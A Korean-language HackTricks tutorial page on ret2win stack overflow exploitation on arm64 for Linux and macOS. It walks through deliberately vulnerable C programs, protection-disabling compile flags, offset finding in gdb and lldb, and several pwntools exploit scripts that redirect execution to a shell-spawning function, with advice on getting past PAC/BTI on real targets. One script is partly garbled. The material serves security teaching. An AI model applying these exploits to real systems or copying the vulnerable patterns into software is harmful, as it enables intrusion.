Ret2win - arm64
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
arm64에 대한 소개는 다음에서 찾을 수 있습니다:
코드
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
pie와 canary 없이 컴파일:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
-
추가 플래그
-mbranch-protection=none는 AArch64 Branch Protection (PAC/BTI)를 비활성화합니다. 툴체인이 기본적으로 PAC 또는 BTI를 활성화하도록 설정되어 있다면, 이 플래그는 실습의 재현성을 유지해 줍니다. 컴파일된 바이너리가 PAC/BTI를 사용하는지 확인하려면: -
AArch64 GNU properties를 확인:
-
readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)' -
prologue/epilogue에서
paciasp/autiasp(PAC) 또는bti clanding pad(BTI)가 있는지 검사: -
objdump -d ret2win | head -n 40
AArch64 calling convention quick facts
- 링크 레지스터는
x30(일명lr)이며, 함수들은 일반적으로stp x29, x30, [sp, #-16]!로x29/x30을 저장하고ldp x29, x30, [sp], #16; ret로 복원합니다. - 이는 저장된 반환 주소가 프레임 베이스 기준으로
sp+8에 위치함을 의미합니다.char buffer[64]가 아래에 배치된 경우, 저장된x30을 덮어쓰기 위한 일반적인 거리(오프셋)는 64 (buffer) + 8 (saved x29) = 72 바이트로 — 아래에서 정확히 이것을 확인할 것입니다. - 스택 포인터는 함수 경계에서 16바이트 정렬 상태를 유지해야 합니다. 나중에 더 복잡한 시나리오에서 ROP 체인을 구성할 경우 SP 정렬을 유지하세요. 그렇지 않으면 함수 에필로그에서 크래시가 발생할 수 있습니다.
Finding the offset
Pattern option
This example was created using GEF:
gdb를 gef와 함께 시작하고, 패턴을 생성하여 사용하세요:
gdb -q ./ret2win
pattern create 200
run
.png)
arm64는 x30 레지스터(손상된)에 저장된 주소로 복귀하려고 시도합니다. 이를 이용해 pattern offset을 찾을 수 있습니다:
pattern search $x30
.png)
오프셋은 72 (9x48)입니다.
스택 오프셋 옵션
pc 레지스터가 저장된 스택 주소를 얻는 것부터 시작합니다:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
이제 read() 이후에 브레이크포인트를 설정하고 read()가 실행될 때까지 계속 진행한 다음 13371337과 같은 패턴을 설정하세요:
b *vulnerable_function+28
c
.png)
이 패턴이 메모리의 어디에 저장되어 있는지 찾으세요:
.png)
그런 다음: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
No PIE
일반
win 함수의 주소를 얻으세요:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Exploit:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
사실 이것은 스택에 저장된 PC에서 발생하는 off-by-2에 더 가깝다. return address 전체를 덮어쓰는 대신 우리는 마지막 2바이트만 0x06c4로 덮어쓸 것이다.
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
ARM64에서 또 다른 off-by-one 예제는 https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/에서 확인할 수 있으며, 이는 허구의 취약점에서 발생한 실제 off-by-one 사례입니다.
With PIE
Tip
바이너리를 컴파일할 때
-no-pie인수를 사용하지 마세요
Off-by-2
leak 없이 우리는 win function의 정확한 주소를 알 수 없지만, 함수가 바이너리에서 갖는 오프셋은 알 수 있습니다. 또한 우리가 덮어쓰는 return address가 이미 근접한 주소를 가리키고 있다는 것을 알고 있다면, 이 경우 win function으로의 오프셋(0x7d4)을 leak하여 그 오프셋을 그대로 사용할 수 있습니다:
.png)
Configuration
binary_name = ‘./ret2win’ p = process(binary_name)
Prepare the payload
offset = 72 ret2win_addr = p16(0x07d4) payload = b’A’ * offset + ret2win_addr
Send the payload
p.send(payload)
Check response
print(p.recvline()) p.close()
## macOS
### Code
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((noinline))
void win(void) {
system("/bin/sh"); // <- **our target**
}
void vulnerable_function(void) {
char buffer[64];
// **BOF**: reading 256 bytes into a 64B stack buffer
read(STDIN_FILENO, buffer, 256);
}
int main(void) {
printf("win() is at %p\n", win);
vulnerable_function();
return 0;
}
canary 없이 컴파일하세요 (macOS에서는 PIE를 비활성화할 수 없습니다):
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
ASLR 없이 실행(하지만 address leak가 있으므로 필요하지 않습니다):
env DYLD_DISABLE_ASLR=1 ./bof_macos
Tip
macOS에서는 NX를 비활성화할 수 없습니다. arm64에서는 이 모드가 하드웨어 수준에서 구현되어 있어 비활성화할 수 없으므로 macOS에서 stack에 shellcode가 있는 예제를 찾을 수 없습니다.
offset 찾기
- 패턴 생성:
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
- 프로그램을 실행하고 충돌을 유발하는 패턴을 입력하세요:
lldb ./bof_macos
(lldb) env DYLD_DISABLE_ASLR=1
(lldb) run
# paste the 200-byte cyclic string, press Enter
- 레지스터
x30(return address)를 확인하여 오프셋을 찾으세요:
(lldb) register read x30
- 정확한 오프셋을 찾기 위해
cyclic -l <value>를 사용하세요:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
- 이렇게 해서 offset
72를 찾았고, 해당 offset에win()함수의 주소를 넣으면 그 함수를 실행해 shell을 얻을 수 있습니다 (ASLR 없이 실행 중).
Exploit
#!/usr/bin/env python3
from pwn import *
import re
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the win() address using regex
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract win() address")
p.close()
exit(1)
win_address = int(match.group(1), 16)
print(f"Extracted win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
macOS - 두 번째 예제
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
__attribute__((noinline))
void leak_anchor(void) {
puts("leak_anchor reached");
}
__attribute__((noinline))
void win(void) {
puts("Killed it!");
system("/bin/sh");
exit(0);
}
__attribute__((noinline))
void vuln(void) {
char buf[64];
FILE *f = fopen("/tmp/exploit.txt", "rb");
if (!f) {
puts("[*] Please create /tmp/exploit.txt with your payload");
return;
}
// Vulnerability: no bounds check → stack overflow
fread(buf, 1, 512, f);
fclose(f);
printf("[*] Copied payload from /tmp/exploit.txt\n");
}
int main(void) {
// Unbuffered stdout so leaks are immediate
setvbuf(stdout, NULL, _IONBF, 0);
// Leak a different function, not main/win
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);
// Sleep 3s
sleep(3);
vuln();
return 0;
}
canary 없이 컴파일 (macOS에서는 PIE를 비활성화할 수 없습니다):
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
오프셋 찾기
- 파일
/tmp/exploit.txt에 패턴을 생성:
python3 - << 'PY'
from pwn import *
with open("/tmp/exploit.txt", "wb") as f:
f.write(cyclic(200))
PY
- 프로그램을 실행하여 crash를 발생시킨다:
lldb ./bof_macos
(lldb) run
- 레지스터
x30(the return address)를 확인해 offset을 찾습니다:
(lldb) register read x30
cyclic -l <value>을 사용하여 정확한 오프셋을 찾으세요:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
- 이렇게 해서 오프셋
72를 찾았습니다. 그 오프셋에win()함수의 주소를 넣으면 해당 함수를 실행해 shell을 얻을 수 있습니다 (ASLR 없이 실행 중).
win()의 주소 계산
- 해당 바이너리는 PIE입니다.
leak_anchor()함수의 leak을 이용하고leak_anchor()함수로부터win()함수까지의 오프셋을 알면win()함수의 주소를 계산할 수 있습니다.
objdump -d bof_macos | grep -E 'leak_anchor|win'
0000000100000460 <_leak_anchor>:
000000010000047c <_win>:
- 오프셋은
0x47c - 0x460 = 0x1c
Exploit
#!/usr/bin/env python3
from pwn import *
import re
import os
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name)
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the leak_anchor() address using regex
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract leak_anchor() address")
p.close()
exit(1)
leak_anchor_address = int(match.group(1), 16)
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")
# Calculate win() address
win_address = leak_anchor_address + 0x1c
print(f"Calculated win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Write the payload to /tmp/exploit.txt
with open("/tmp/exploit.txt", "wb") as f:
f.write(payload)
print("[*] Payload written to /tmp/exploit.txt")
# Drop to an interactive session
p.interactive()
최신 AArch64 하드닝(PAC/BTI) 및 ret2win에 대한 노트
- 바이너리가 AArch64 Branch Protection으로 컴파일된 경우, 함수 prologues/epilogues에
paciasp/autiasp또는bti c가 나타날 수 있습니다. 그런 경우: - 유효한 BTI landing pad가 아닌 주소로 복귀하면
SIGILL이 발생할 수 있습니다.bti c를 포함하는 정확한 함수 진입점을 표적으로 삼으세요. - 반환에 대해 PAC가 활성화되어 있으면, 단순한 return‑address 덮어쓰기는 epilogue가
x30을 인증하므로 실패할 수 있습니다. 학습용 시나리오에서는-mbranch-protection=none으로 재빌드하세요 (위에 예시). 실제 타깃을 공격할 때는 non‑return hijacks(예: function pointer overwrites)을 선호하거나, 위조된 LR을 인증하는autiasp/ret쌍을 절대 실행하지 않는 ROP를 구성하세요. - 기능을 빠르게 확인하려면:
readelf --notes -W ./ret2win를 실행하고AARCH64_FEATURE_1_BTI/AARCH64_FEATURE_1_PAC노트를 확인하세요.objdump -d ./ret2win | head -n 40를 실행하고bti c,paciasp,autiasp를 확인하세요.
non‑ARM64 호스트에서 실행하기 (qemu‑user 빠른 팁)
x86_64에서 작업 중이지만 AArch64를 연습하고 싶다면:
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
관련 HackTricks 페이지
참고자료
- AArch64에서 Linux용 PAC 및 BTI 활성화 (Arm Community, 2024년 11월). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Arm 64비트 아키텍처용 Procedure Call Standard (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


